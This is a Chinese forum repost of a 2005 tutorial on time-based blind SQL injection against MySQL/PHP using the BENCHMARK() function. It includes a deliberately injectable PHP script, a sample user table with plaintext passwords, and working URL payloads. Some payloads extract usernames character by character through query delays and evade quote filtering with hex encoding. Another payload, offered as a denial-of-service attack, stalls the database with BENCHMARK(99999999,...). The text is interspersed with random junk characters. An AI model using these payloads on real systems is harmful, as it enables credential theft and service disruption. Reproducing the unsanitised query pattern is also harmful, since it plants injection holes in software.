找回密码
 立即注册
查看: 2621|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
& z; C+ K$ C4 {& k+ _$ {* Y本文作者:SuperHei& r$ b( }4 ]$ S' f
文章性质:原创
1 P5 f* t1 _' s8 p$ B发布日期:2005-01-02
, J) U0 e- M4 \2 M  k9 L  j0 v- B完成日期:2004-07-09 " `2 I* x: w4 r. {  l0 I
第一部
' B; H# P$ @0 D- P9 x1 i3 D3 m
+ t6 ]9 R/ s( u1 [) ^  L1 }利用时间推延进行注射---BENCHMARK函数在注射中的利用
' g% T+ U2 E$ S5 N% s$ B7 g4 U9 T6 x2 O0 I' ^
一.前言/思路
6 X6 O, _( u' M. ^3 I
- a9 x# c) K4 @& K9 l5 T6 n  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
6 |6 Z; \" I1 G" G+ ~8 p, h5 I. c
! \2 J: S- j% B5 j( x  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
4 Q. G. N9 e9 O" g9 s8 v2 w5 O
- E- J6 n, l& ~$ [  b二.关于BENCHMARK函数, _% `1 W9 \2 e- \

7 [' R" e% f: z" R# Z1 K7 x  在MySQL参考手册里可以看到如下描叙: - M4 K: Y* i! `' V$ D* [: O8 ^% u

* Y2 v9 z$ s# l4 K2 L1 Y7 |
1 t9 j: p+ m! ]. \--------------------------------------------------------------------------------
( @8 |9 J7 ?$ t# i' U; y* S/ o- h7 j' r3 J0 J4 E# W
BENCHMARK(count,expr)
! ]) @% c8 `2 V6 i$ u+ HBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 ; @2 z3 v5 R+ ]4 S6 ^  @
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
" f# j- @7 \7 y5 E4 \& a, ^/ W6 G, ~( T+----------------------------------------------+
( u+ O6 G" \0 a# a| BENCHMARK(1000000,encode("hello","goodbye")) |
5 w% ]- a( {1 d# p) U+----------------------------------------------+ - G" v$ L" N/ S0 n3 h
| 0 |
9 t) a$ K  l- u+ S+ {+----------------------------------------------+
3 _  C# o' F7 ^4 K1 row in set (4.74 sec)
8 X" B- b9 S) Y- v& |) r# ~3 w2 F6 s$ \
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
" z# R0 _1 y+ |- y9 v
1 w5 N9 _: e& C( x
0 Y* |2 O' X' W! Y. m3 n' W- y--------------------------------------------------------------------------------9 O( v0 D. A5 y, f1 p8 P2 p8 o
0 `9 j, a7 }- R/ P; W* U
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: : Q( A7 V1 A5 x

: Y: k4 |# u1 k# ^6 Y" W0 hmysql> select md5( 'test' );
1 J" }- q/ n) _2 b5 B+----------------------------------+ 1 |7 \) C( V2 z
| md5( 'test' ) | $ b" o) f& E. K9 D
+----------------------------------+
6 G9 @& @2 G6 E| 098f6bcd4621d373cade4e832627b4f6 |
; x1 g1 [- T3 }% ^% h$ M+----------------------------------+
5 G. _" K9 k' }7 @" Y1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
, r  w3 f/ @% Z) p) |
5 y4 F, f  _: q6 ~  Q' omysql> select benchmark( 500000, md5( 'test' ) );
# }( O. y- F4 r/ k- W: J$ S+------------------------------------+
2 o/ f: e' Q1 o; d/ ~6 z| benchmark( 500000, md5( 'test' ) ) | % |/ ~+ S. Q6 T# H+ z7 x1 w/ c) B
+------------------------------------+
) T3 ~+ j: ~4 H| 0 | ! [  h5 W* G, [7 L6 H
+------------------------------------+ ( t9 V  I3 b# K5 e0 y
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec2 R( S* t# G# E4 ^
7 D3 v' T) B) O0 f- f

6 P# g! c* M9 `9 @  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 2 S- r+ w$ I- s. p
  z+ U' t: J* E) _/ P3 W
三.具体例子  K; H- z# U7 F2 x

9 U8 C/ H  {+ a# l# k  首先我们看个简单的php代码:# j; T6 J- n) C1 B& W
0 b3 c/ W4 h0 g" O6 I9 D# Z# ?
< ?php
( a  r$ C0 h1 F( o; T$servername = "localhost"; ! Z, E8 |* E2 ~) u6 v
$dbusername = "root";
2 n# v4 J  a) Q9 R: b4 b, v$dbpassword = ""; 2 O; F7 D4 P# s+ d5 _: v9 ?0 @
$dbname = "injection"; 2 ^. M( c. E! m3 j$ s( q/ G
2 C, L* d# c- n4 W7 O! h' g
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 6 n- H3 P7 l4 q
: f( [/ g- R  D( u2 H" G  `
$sql = "SELECT * FROM article WHERE articleid=$id"; 0 D" G* J8 a# c, }+ L
$result = mysql_db_query($dbname,$sql); 8 n- i: c" c4 W
$row = mysql_fetch_array($result); 8 {+ @9 f$ t  e! K( O9 z

+ p1 ^: H% M# d$ [6 Xif (!$row) ! T) H8 w- I3 p' `. f4 }2 p
{ 9 p  k/ A1 f  W* s% [' r
exit;
( T" |4 d& l; J3 g! J4 C, x& m}
$ L- c: A5 U7 e( H( T2 `- P/ J: W?>: R  ]$ I! |  P7 A3 f

; w) w# Z8 E3 q+ d9 v
4 w4 n9 S8 L4 l7 x2 O4 O  数据库injection结构和内容如下:
; y) E1 b1 `+ m' l
9 f* `* \* C0 n: S; {2 d6 ^, b# 数据库 : `injection`
2 Q4 ]0 T; s* ]# " g4 E# a9 T  H. I- K
# C5 l1 K, ]  h) p$ x! L  r- m
# --------------------------------------------------------
& u/ ?6 n# S; J- y5 T1 o7 S9 J
$ A* _, M9 e, d# , q3 |, t& W. ~9 T
# 表的结构 `article`
' l2 F( F8 `/ v2 Y0 h#
% R. }" Z5 X. T- @$ N5 L- b+ d
% w2 t4 P1 k/ K1 y3 ?9 UCREATE TABLE `article` (
1 c+ s8 ?2 N4 P+ r4 N- s`articleid` int(11) NOT NULL auto_increment, ( |! E. v# S; r* s% h* n. A
`title` varchar(100) NOT NULL default '',
" W1 Q3 y0 j4 ?/ }- E`content` text NOT NULL, . d) ?6 k% u9 m: S6 ?& x  g, o
PRIMARY KEY (`articleid`)
$ m& X* U8 W5 ]3 V4 R* ^) TYPE=MyISAM AUTO_INCREMENT=3 ;   [( O3 |: w# e+ [6 Y- D

" }& u! Q( p) C# ! n2 X# E& k! p9 Z" J7 c& a- `
# 导出表中的数据 `article` $ p# O0 S. t. Z) C/ o8 F* D; S& ?
# . s2 Y; ^! Z8 D

2 q* J7 _4 ]. U  M4 i, P, e4 sINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); 2 t8 O( B% }, n( [
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
# ~7 f0 w: ?2 ]0 _8 {6 ~7 U" k4 k' T1 ^) l# {: |3 Q3 m; m
# --------------------------------------------------------
+ k% C7 x) ?: @5 [7 U, B3 p! f& ^9 i! _9 Q6 b: t/ S. f1 T
#
0 Z, v; N$ d: `# u! y: h# 表的结构 `user` . m5 u& G& z" I9 E) b$ _4 E
# # V8 J( J! Q( p' O

. i/ e" }. V& v0 A3 Q0 ]CREATE TABLE `user` (
% l: b% E' a- M. `; V. e: J6 Q" S`userid` int(11) NOT NULL auto_increment, * \3 W& V9 ~+ r9 Q& _6 r
`username` varchar(20) NOT NULL default '',
0 a+ x: m, A0 p. \/ `& X0 R`password` varchar(20) NOT NULL default '',
+ I8 x1 U" L# L2 l# I+ s$ hPRIMARY KEY (`userid`) 7 @7 p* X0 m6 g  S2 g
) TYPE=MyISAM AUTO_INCREMENT=3 ; 1 T% V: T8 d. C/ [  }0 _
! q! N. v" I" U9 g
# 1 B3 f. t. y( D% Y& |  `8 _2 x7 v# F
# 导出表中的数据 `user` * E0 E$ d! ~" `8 J
#
- N6 \$ _4 u0 q2 \+ o9 L. y' B/ v
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
9 p& Q5 Y. A% I6 W9 ~& GINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');0 a/ a5 g( X2 x2 ~% A- f9 X6 g& }9 R

7 m5 p! J; r( g+ H3 {( L8 `, _$ r$ ^! g- I: z. Y
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
" J2 p8 c" s( S/ _2 d* |8 z3 U* U: ^, G# Y( Y' m
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*7 |1 R# _  A) @4 W

$ o/ d. `- T5 @; H9 G) v7 F  ~4 ]& c: l
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:4 }& |# ?! j% E. [  V  r) ]! b, e
; F3 @2 b& ^* K, J! I
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*3 ?6 i* R. o. ~: @4 j

6 q( R' E$ ?8 s! m' h6 C+ N8 k% X/ V5 T/ y, B& e
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 + X- N5 U* W' B

, m! |5 d( u0 G" J5 P  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
+ K" n' a, k/ o, }& a: i8 G
5 d8 E& ~7 o+ f: \' ]第二部* T0 y8 q  }- {% q9 C
" e5 L( n4 c2 [- }2 }8 O. D$ l0 E
利用BENCHMARK函数进行ddos攻击 3 J  O, u, n$ c( e. n: {; {5 [

1 T1 O, ^/ U7 o2 Y  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
6 _5 T  m; |5 @+ z% K: q( D8 z
! O$ h; n# I% n$ T; Q5 q) V: u0 m, Uhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))3 ^$ I1 Z! O; s0 y. H
: b. h/ ?" H4 S$ `
4 U4 q2 F+ D6 D. F
小结
1 Z- q" z8 Y& ^3 W9 b3 I* J, M
7 B* @) a9 }" u2 J  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
: L) c: }" a. Y1 p$ t! E' B( Z+ Q0 `
$ A* l& E' r* l! X( g1 V7 Q  2 [6 q! A7 c: J5 w; R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表